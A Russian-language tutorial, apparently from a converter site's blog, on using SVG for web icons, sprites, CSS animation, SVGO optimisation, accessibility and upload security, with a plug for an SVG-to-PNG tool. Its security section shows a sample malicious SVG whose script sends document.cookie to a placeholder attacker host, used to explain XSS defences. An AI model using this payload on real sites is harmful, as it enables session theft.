Веб

SVG для веба: иконки, анимация и оптимизация на практике

Один и тот же значок можно вставить на страницу пятью способами — и четыре из них окажутся неправильными для вашей задачи. Разбираем, как использовать SVG на сайте грамотно: чем отличаются inline, <img> и CSS-фон, почему спрайт лучше иконочного шрифта, как анимировать вектор средствами CSS, ужать его вдвое через SVGO и не словить XSS на пользовательских загрузках.

Набор плоских векторных иконок — типичная работа SVG в вебе
Иконки, логотипы, иллюстрации интерфейса — почти всё это в современном вебе живёт в SVG. Фото: Pexels

Почему SVG идеален для веба

SVG (Scalable Vector Graphics) — это не картинка из пикселей, а текстовое описание фигур: «нарисуй окружность здесь, проведи линию туда, залей вот этим цветом». Браузер читает эти инструкции и рисует изображение заново под конкретный экран. Отсюда два свойства, ради которых вектор и любят в вебе.

Резкость на любом экране. Растровой иконке для ретины нужна версия @2x, а для дисплеев с ещё большей плотностью — @3x. SVG не масштабируется, а перерисовывается: один файл остаётся идеально чётким и на старом ноутбуке, и на 5K-мониторе, и при зуме страницы. Никаких «лесенок» на краях и наборов растровых версий.

Крошечный вес для простой графики. Логотип, иконка или схема — это десяток-другой фигур. Текстовое их описание занимает считаные килобайты, а после gzip — ещё меньше. Там, где PNG-иконка весит 8–15 КБ, аккуратный SVG укладывается в 1–2 КБ. На сложных фотографических изображениях вектор, наоборот, проигрывает — для них остаётся растр.

Простое правило

SVG — для всего, что «нарисовано»: иконки, логотипы, графики, иллюстрации интерфейса. Растр (PNG, WebP, AVIF) — для всего, что «сфотографировано». Если сомневаетесь, представьте картинку увеличенной в 10 раз: должна остаться чёткой — это SVG.

Три способа вставить SVG и когда какой

Главная путаница новичков в том, что SVG можно добавить на страницу несколькими способами, и они не взаимозаменяемы. Каждый открывает одни возможности и закрывает другие. Разберём три основных.

1. Inline — код прямо в HTML. Вы вставляете весь <svg>…</svg> в разметку. Тогда фигуры становятся частью DOM: их можно красить через CSS (fill, stroke), анимировать и менять из JavaScript. Минус — код иконки попадает в HTML каждой страницы, раздувает её и не кэшируется отдельным файлом.

<!-- Inline: цветом управляет CSS через currentColor -->
<button class="btn">
  <svg width="20" height="20" viewBox="0 0 24 24" aria-hidden="true">
    <path d="M5 12h14M12 5l7 7-7 7" stroke="currentColor" fill="none"/>
  </svg>
  Дальше
</button>

2. Тег <img> — отдельный файл. Пишете <img src="logo.svg" alt="…">, как с обычной картинкой. Файл кэшируется браузером, HTML остаётся чистым, подключение элементарное. Расплата — вы теряете доступ внутрь: покрасить или анимировать содержимое SVG через свой CSS уже нельзя, потому что браузер изолирует файл.

<!-- img: просто, кэшируется, но без внешней CSS-стилизации -->
<img src="/img/logo.svg" alt="Логотип компании" width="160" height="40">

3. CSS background-image — для декора. Подключаете SVG как фон: background-image: url(pattern.svg). Идеально для декоративных элементов, которые не несут смысла, — паттернов, разделителей, фоновых иконок у полей ввода. Содержимое тоже недоступно для стилизации, зато его легко переключать через CSS-классы.

Геометрические векторные фигуры — пример графики, которая в вебе хранится как SVG
Чёткие геометрические формы — родная стихия SVG: один файл, любое разрешение. Фото: Pexels
СпособCSS-стилизация изнутриАнимация / JSКэш отдельным файломКогда выбирать
Inline <svg>ДаДаНетИконки в кнопках, навигации, интерактив
<img>НетНетДаЛоготипы, самостоятельные картинки
CSS backgroundНетНетДаДекор, паттерны, фоновые значки

Практический вывод: иконки, которые меняют цвет при наведении или участвуют в анимации, — inline (а лучше через спрайт, об этом ниже). Логотип в шапке и крупные иллюстрации — <img>. Декоративный фон — CSS.

Иконки и спрайты вместо иконочных шрифтов

Долгие годы наборы иконок подключали через иконочные шрифты (Font Awesome, Glyphicons): каждая иконка — это «буква» в шрифте. Сегодня для новых проектов это устаревший подход. Браузер должен скачать весь шрифт ради нескольких значков, иконки бывают размытыми, пока шрифт не загрузился — видны квадратики-плейсхолдеры, а покрасить можно только целиком одним цветом.

Современная замена — SVG-спрайт. Все иконки один раз кладутся в скрытый блок как <symbol> с уникальным id, а в нужном месте вызываются короткой ссылкой <use>. Кстати, чип «Веб» в начале этой статьи и иконки в её интерфейсе нарисованы ровно так.

<!-- 1. Один раз: спрайт со всеми иконками -->
<svg style="display:none">
  <symbol id="icon-globe" viewBox="0 0 24 24">
    <circle cx="12" cy="12" r="10" fill="none" stroke="currentColor"/>
    <path d="M2 12h20" stroke="currentColor"/>
  </symbol>
</svg>

<!-- 2. Сколько угодно раз: вызов иконки -->
<svg class="icon"><use href="#icon-globe"/></svg>

Так у вас один источник правды для всех значков, цвет наследуется от текста через currentColor, а иконки остаются чёткими и доступными для скринридеров. По сравнению с иконочным шрифтом спрайт выигрывает почти по всем пунктам:

КритерийSVG-спрайтИконочный шрифт
Чёткость на ретинеИдеальнаяЗависит от рендера шрифта
Несколько цветов в иконкеДаНет, только один
Анимация отдельных частейДаТолько иконка целиком
ДоступностьСемантика из коробкиНужны костыли ARIA
«Прыжок» при загрузкеНетЕсть, пока грузится шрифт

Совет

Иконочный шрифт оправдан разве что в легаси-проекте, где он уже глубоко вшит. Для всего нового берите SVG-спрайт: его поддерживают все актуальные браузеры, а сборщики (Vite, webpack) умеют собирать спрайт автоматически из папки с иконками.

Анимация SVG через CSS

Раз inline-SVG — часть DOM, его фигуры анимируются теми же средствами, что и обычные элементы: CSS-переходами и @keyframes. Это самый дешёвый и производительный путь: ни одной строчки JavaScript, всё крутит браузер на GPU.

/* Спиннер: бесконечный поворот всего SVG */
.spinner { animation: spin 1s linear infinite; }
@keyframes spin { to { transform: rotate(360deg); } }

/* Иконка «галочка»: рисуем линию обводки при наведении */
.check path {
  stroke-dasharray: 24;
  stroke-dashoffset: 24;
  transition: stroke-dashoffset .4s ease;
}
.check:hover path { stroke-dashoffset: 0; }

Приём со stroke-dasharray / stroke-dashoffset — классический «эффект рисования»: контур будто прочерчивается на глазах. Для сложных сценариев (морфинг форм, синхронизация со скроллом) берут библиотеки вроде GSAP, но 90% задач закрываются чистым CSS.

Отдельно про SMIL — встроенную в SVG анимацию через теги <animate>. Технология рабочая, но считается устаревающей: её развитие заморожено, и для веба надёжнее опираться на CSS и JS, которые активно поддерживаются.

Не забывайте про комфорт

Бесконечные анимации у части людей вызывают дискомфорт. Уважайте системную настройку: оберните движение в @media (prefers-reduced-motion: reduce) и отключайте его тем, кто попросил «меньше движения».

Оптимизация: SVGO снимает лишний вес

SVG, выгруженный из Figma, Illustrator или Inkscape, почти всегда «грязный». Внутри — служебные метаданные редактора, комментарии, пустые группы, скрытые слои и координаты с десятком знаков после запятой. Всё это вес, который пользователю качать незачем.

Чистит это SVGO (SVG Optimizer) — стандартный инструмент. Он вырезает мусор, не меняя картинку. Запустить можно из консоли, в сборке проекта или в браузере через визуальную обёртку SVGOMG — результат виден сразу.

# Установка и оптимизация папки с иконками
npm install -g svgo
svgo -f ./icons -o ./icons-min

# Один файл
svgo logo.svg -o logo.min.svg

Экономия зависит от источника. Экспорт из дизайн-редакторов SVGO ужимает обычно на 40–80%, иногда больше. Уже чистые, написанные руками SVG сжимаются скромнее — на 10–30%. Самый «жирный» источник экономии — упрощение данных контуров (атрибут d) и удаление метаданных редактора.

Скетчи и наброски интерфейса — путь от эскиза до чистого SVG
Путь иконки: от наброска в редакторе до вычищенного SVGO файла на боевом сайте. Фото: Pexels
40–80%типичная экономия на экспортах из редакторов
1–2 КБвес аккуратной иконки
0потери качества при оптимизации

Осторожно с агрессивностью

На максимальных настройках SVGO может вырезать нужное: id, на которые ссылается ваш CSS или JS, либо viewBox, без которого ломается масштабирование. Если иконкой управляет код — отключите удаление id и сохранение viewBox в конфиге и проверьте результат.

Доступность и SEO

Векторная графика хороша тем, что её можно сделать понятной не только глазам, но и скринридерам — а заодно и поисковикам. Правило простое: смысловые иконки подписываем, декоративные прячем.

  • Иконка несёт смысл (например, одинокая иконка «корзина» без текста): добавьте role="img" и название через <title> внутри SVG или aria-label на нём.
  • Иконка декоративная или дублирует соседний текст («🔍 Поиск»): скройте её от скринридеров через aria-hidden="true", чтобы она не зачитывалась дважды.
  • Иконка внутри ссылки или кнопки без текста: дайте имя самой кнопке через aria-label, а иконку оставьте декоративной.
<!-- Смысловая иконка: озвучивается как «Избранное» -->
<svg role="img" aria-label="Избранное"><use href="#icon-star"/></svg>

<!-- Декоративная: скринридер её пропустит -->
<svg aria-hidden="true"><use href="#icon-chevron"/></svg>

<!-- Иконка-кнопка: имя на кнопке, иконка скрыта -->
<button aria-label="Закрыть"><svg aria-hidden="true"><use href="#icon-close"/></svg></button>

Для SEO это тоже плюс: тег <img> с SVG индексируется как изображение, а осмысленный alt помогает попасть в поиск по картинкам. А поскольку SVG лёгкий, он почти не влияет на скорость загрузки — а скорость напрямую учитывается в ранжировании.

Безопасность пользовательских загрузок

Вот неочевидное, на чём спотыкаются даже опытные команды: SVG — это не картинка, а исполняемый XML. В него можно вшить <script>, обработчики событий (onload) и ссылки javascript:. Если вы принимаете SVG от пользователей (аватары, логотипы) и показываете их другим как есть, злоумышленник способен встроить в файл код — это классическая XSS-уязвимость.

<!-- Так выглядит вредоносный SVG -->
<svg xmlns="http://www.w3.org/2000/svg">
  <script>fetch('https://evil.example/steal?c='+document.cookie)</script>
</svg>

Защита строится слоями:

1

Показывайте через <img>

В теге <img> браузер сам отключает скрипты и внешние ресурсы внутри SVG. Никогда не вставляйте чужой SVG как inline в свою разметку.

2

Санитизируйте на сервере

Прогоняйте загрузку через очиститель (например, DOMPurify), который вырезает <script>, <foreignObject>, обработчики событий и опасные ссылки.

3

Ограничьте отдачу

Раздавайте загрузки со строгими заголовками CSP и с отдельного домена, чтобы даже пробившийся скрипт не получил доступ к вашим cookie.

Самый надёжный вариант

Если интерактивность чужих SVG вам не нужна — растеризуйте загрузку в PNG на сервере. Растр физически не может содержать скриптов, и проблема исчезает в принципе.

Когда SVG нужно превратить в PNG

SVG прекрасен, но не всеяден. Старые почтовые клиенты, часть соцсетей и превью-сервисов вектор не понимают, а для og:image (картинка ссылки при репосте) почти всегда нужен растр. В этих случаях SVG растеризуют в PNG с нужным разрешением и DPI: исходник остаётся вектором, а наружу отдаётся совместимая копия.

1

Загрузите SVG

Перетащите файл в онлайн-конвертер — ставить ничего не нужно.

2

Задайте DPI и фон

Выберите разрешение под задачу и решите, нужен ли прозрачный фон или подложка.

3

Скачайте PNG

Готовый растр откроется где угодно — от соцсетей до старых CMS.

Превратите SVG в чёткий PNG за пару секунд

Бесплатный конвертер FormatZ растеризует вектор с нужным DPI прямо в браузере — без установки и регистрации. Идеально для превью, соцсетей и сервисов без поддержки SVG.

Конвертировать SVG в PNG

Нужно обратное — собрать вектор из растрового логотипа? Поможет трассировка PNG в SVG. Для лёгкого веб-формата с прозрачностью пригодится SVG в WebP, а полный список преобразований всегда есть на странице всех форматов.

SVG на сайте — это не «ещё один формат картинки», а инструмент: правильно выбранный способ вставки решает половину задач по стилю, скорости и безопасности.
Inline SVG (<svg>…</svg> прямо в HTML) выбирайте, когда иконку нужно красить через CSS, анимировать или менять через JS — например, иконки в кнопках и навигации. Тег <img src=".svg"> выбирайте для самостоятельных картинок и логотипов: он кэшируется браузером отдельным файлом и не раздувает HTML, но стилизовать содержимое изнутри уже нельзя.
Для новых проектов почти всегда да. Спрайт из <symbol>+<use> даёт чёткие иконки на ретине, поддерживает несколько цветов и анимацию отдельных частей, доступен для скринридеров и не зависит от загрузки шрифта (нет «прыжка» иконок). Иконочные шрифты оправданы разве что в легаси-проектах, где их уже много.
Зависит от источника. Экспорт из Figma, Illustrator или Inkscape SVGO ужимает обычно на 40–80% — он вырезает метаданные редактора, комментарии, пустые группы и лишние знаки в координатах. Уже чистые, написанные вручную SVG сжимаются скромнее, на 10–30%.
Собственные SVG безопасны. Опасны чужие: SVG — это XML, в него можно вшить <script>, обработчики событий (onload) и ссылки javascript:. Если вы принимаете SVG от пользователей, показывайте их через <img> (браузер отключает скрипты) и обязательно санитизируйте на сервере, например через DOMPurify.
Для превью, соцсетей и сервисов без поддержки вектора SVG растеризуют в PNG с нужным DPI — например, в онлайн-конвертере FormatZ. Обратно из растра в вектор автоматически тоже можно (трассировка PNG в SVG), но идеально это работает только для простых форм и логотипов.